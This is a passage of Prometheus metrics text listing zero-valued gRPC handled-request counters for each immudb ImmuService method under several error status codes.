0\ngrpc_server_handled_total{grpc_code=\"ResourceExhausted\",grpc_method=\"ZAdd\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"ResourceExhausted\",grpc_method=\"ZScan\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"ResourceExhausted\",grpc_method=\"ZScanSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unauthenticated\",grpc_method=\"ByIndex\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unauthenticated\",grpc_method=\"ByIndexSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unauthenticated\",grpc_method=\"BySafeIndex\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unauthenticated\",grpc_method=\"ChangePassword\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unauthenticated\",grpc_method=\"ChangePermission\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unauthenticated\",grpc_method=\"Consistency\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unauthenticated\",grpc_method=\"Count\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unauthenticated\",grpc_method=\"CreateDatabase\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unauthenticated\",grpc_method=\"CreateUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unauthenticated\",grpc_method=\"CurrentRoot\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unauthenticated\",grpc_method=\"DatabaseList\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unauthenticated\",grpc_method=\"DeactivateUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unauthenticated\",grpc_method=\"Dump\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"server_stream\"} 0\ngrpc_server_handled_total{grpc_code=\"Unauthenticated\",grpc_method=\"Get\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unauthenticated\",grpc_method=\"GetBatch\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unauthenticated\",grpc_method=\"GetBatchSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unauthenticated\",grpc_method=\"GetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unauthenticated\",grpc_method=\"GetUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unauthenticated\",grpc_method=\"Health\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unauthenticated\",grpc_method=\"History\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unauthenticated\",grpc_method=\"HistorySV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unauthenticated\",grpc_method=\"IScan\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unauthenticated\",grpc_method=\"IScanSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unauthenticated\",grpc_method=\"Inclusion\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unauthenticated\",grpc_method=\"ListUsers\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unauthenticated\",grpc_method=\"Login\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unauthenticated\",grpc_method=\"Logout\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unauthenticated\",grpc_method=\"Reference\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unauthenticated\",grpc_method=\"SafeGet\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unauthenticated\",grpc_method=\"SafeGetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unauthenticated\",grpc_method=\"SafeReference\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unauthenticated\",grpc_method=\"SafeSet\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unauthenticated\",grpc_method=\"SafeSetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unauthenticated\",grpc_method=\"SafeZAdd\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unauthenticated\",grpc_method=\"Scan\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unauthenticated\",grpc_method=\"ScanSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unauthenticated\",grpc_method=\"Set\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unauthenticated\",grpc_method=\"SetActiveUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unauthenticated\",grpc_method=\"SetBatch\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unauthenticated\",grpc_method=\"SetBatchSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unauthenticated\",grpc_method=\"SetPermission\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unauthenticated\",grpc_method=\"SetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unauthenticated\",grpc_method=\"UpdateAuthConfig\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unauthenticated\",grpc_method=\"UpdateMTLSConfig\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unauthenticated\",grpc_method=\"UseDatabase\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unauthenticated\",grpc_method=\"ZAdd\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unauthenticated\",grpc_method=\"ZScan\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unauthenticated\",grpc_method=\"ZScanSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unavailable\",grpc_method=\"ByIndex\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unavailable\",grpc_method=\"ByIndexSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unavailable\",grpc_method=\"BySafeIndex\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unavailable\",grpc_method=\"ChangePassword\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unavailable\",grpc_method=\"ChangePermission\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unavailable\",grpc_method=\"Consistency\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unavailable\",grpc_method=\"Count\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unavailable\",grpc_method=\"CreateDatabase\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unavailable\",grpc_method=\"CreateUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unavailable\",grpc_method=\"CurrentRoot\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unavailable\",grpc_method=\"DatabaseList\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unavailable\",grpc_method=\"DeactivateUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unavailable\",grpc_method=\"Dump\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"server_stream\"} 0\ngrpc_server_handled_total{grpc_code=\"Unavailable\",grpc_method=\"Get\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unavailable\",grpc_method=\"GetBatch\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unavailable\",grpc_method=\"GetBatchSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unavailable\",grpc_method=\"GetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unavailable\",grpc_method=\"GetUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unavailable\",grpc_method=\"Health\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unavailable\",grpc_method=\"History\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unavailable\",grpc_method=\"HistorySV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unavailable\",grpc_method=\"IScan\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unavailable\",grpc_method=\"IScanSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unavailable\",grpc_method=\"Inclusion\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unavailable\",grpc_method=\"ListUsers\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unavailable\",grpc_method=\"Login\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unavailable\",grpc_method=\"Logout\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unavailable\",grpc_method=\"Reference\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unavailable\",grpc_method=\"SafeGet\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unavailable\",grpc_method=\"SafeGetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unavailable\",grpc_method=\"SafeReference\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unavailable\",grpc_method=\"SafeSet\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unavailable\",grpc_method=\"SafeSetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unavailable\",grpc_method=\"SafeZAdd\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unavailable\",grpc_method=\"Scan\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unavailable\",grpc_method=\"ScanSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unavailable\",grpc_method=\"Set\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unavailable\",grpc_method=\"SetActiveUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unavailable\",grpc_method=\"SetBatch\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unavailable\",grpc_method=\"SetBatchSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unavailable\",grpc_method=\"SetPermission\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unavailable\",grpc_method=\"SetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unavailable\",grpc_method=\"UpdateAuthConfig\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unavailable\",grpc_method=\"UpdateMTLSConfig\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unavailable\",grpc_method=\"UseDatabase\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unavailable\",grpc_method=\"ZAdd\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unavailable\",grpc_method=\"ZScan\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unavailable\",grpc_method=\"ZScanSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unimplemented\",grpc_method=\"ByIndex\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unimplemented\",grpc_method=\"ByIndexSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unimplemented\",grpc_method=\"BySafeIndex\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unimplemented\",grpc_method=\"ChangePassword\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unimplemented\",grpc_method=\"ChangePermission\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unimplemented\",grpc_method=\"Consistency\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unimplemented\",grpc_method=\"Count\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unimplemented\",grpc_method=\"CreateDatabase\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unimplemented\",grpc_method=\"CreateUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unimplemented\",grpc_method=\"CurrentRoot\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unimplemented\",grpc_method=\"DatabaseList\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unimplemented\",grpc_method=\"DeactivateUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unimplemented\",grpc_method=\"Dump\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"server_stream\"} 0\ngrpc_server_handled_total{grpc_code=\"Unimplemented\",grpc_method=\"Get\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unimplemented\",grpc_method=\"GetBatch\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unimplemented\",grpc_method=\"GetBatchSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unimplemented\",grpc_method=\"GetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unimplemented\",grpc_method=\"GetUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unimplemented\",grpc_method=\"Health\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unimplemented\",grpc_method=\"History\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unimplemented\",grpc_method=\"HistorySV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unimplemented\",grpc_method=\"IScan\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unimplemented\",grpc_method=\"IScanSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unimplemented\",grpc_method=\"Inclusion\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unimplemented\",grpc_method=\"ListUsers\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unimplemented\",grpc_method=\"Login\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unimplemented\",grpc_method=\"Logout\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unimplemented\",grpc_method=\"Reference\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unimplemented\",grpc_method=\"SafeGet\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unimplemented\",grpc_method=\"SafeGetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unimplemented\",grpc_method=\"SafeReference\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unimplemented\",grpc_method=\"SafeSet\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unimplemented\",grpc_method=\"SafeSetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unimplemented\",grpc_method=\"SafeZAdd\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unimplemented\",grpc_method=\"Scan\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unimplemented\",grpc_method=\"ScanSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unimplemented\",grpc_method=\"Set\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unimplemented\",grpc_method=\"SetActiveUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unimplemented\",grpc_method=\"SetBatch\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unimplemented\",grpc_method=\"SetBatchSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unimplemented\",grpc_method=\"SetPermission\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unimplemented\",grpc_method=\"SetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unimplemented\",grpc_method=\"UpdateAuthConfig\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unimplemented\",grpc_method=\"UpdateMTLSConfig\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unimplemented\",grpc_method=\"UseDatabase\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unimplemented\",grpc_method=\"ZAdd\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unimplemented\",grpc_method=\"ZScan\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unimplemented\",grpc_method=\"ZScanSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unknown\",grpc_method=\"ByIndex\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unknown\",grpc_method=\"ByIndexSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unknown\",grpc_method=\"BySafeIndex\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unknown\",grpc_method=\"ChangePassword\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unknown\",grpc_method=\"ChangePermission\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unknown\",grpc_method=\"Consistency\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unknown\",grpc_method=\"Count\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unknown\",grpc_method=\"CreateDatabase\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unknown\",grpc_method=\"CreateUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unknown\",grpc_method=\"CurrentRoot\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unknown\",grpc_method=\"DatabaseList\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unknown\",grpc_method=\"DeactivateUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unknown\",grpc_method=\"Dump\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"server_stream\"} 0\ngrpc_server_handled_total{grpc_code=\"Unknown\",grpc_method=\"Get\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unknown\",grpc_method=\"GetBatch\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unknown\",grpc_method=\"GetBatchSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unknown\",grpc_method=\"GetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unknown\",grpc_method=\"GetUser\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unknown\",grpc_method=\"Health\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unknown\",grpc_method=\"History\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unknown\",grpc_method=\"HistorySV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unknown\",grpc_method=\"IScan\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unknown\",grpc_method=\"IScanSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unknown\",grpc_method=\"Inclusion\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unknown\",grpc_method=\"ListUsers\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unknown\",grpc_method=\"Login\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unknown\",grpc_method=\"Logout\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unknown\",grpc_method=\"Reference\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unknown\",grpc_method=\"SafeGet\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unknown\",grpc_method=\"SafeGetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unknown\",grpc_method=\"SafeReference\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unknown\",grpc_method=\"SafeSet\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unknown\",grpc_method=\"SafeSetSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unknown\",grpc_method=\"SafeZAdd\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unknown\",grpc_method=\"Scan\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 0\ngrpc_server_handled_total{grpc_code=\"Unknown\",grpc_method=\"ScanSV\",grpc_service=\"immudb.schema.ImmuService\",grpc_type=\"unary\"} 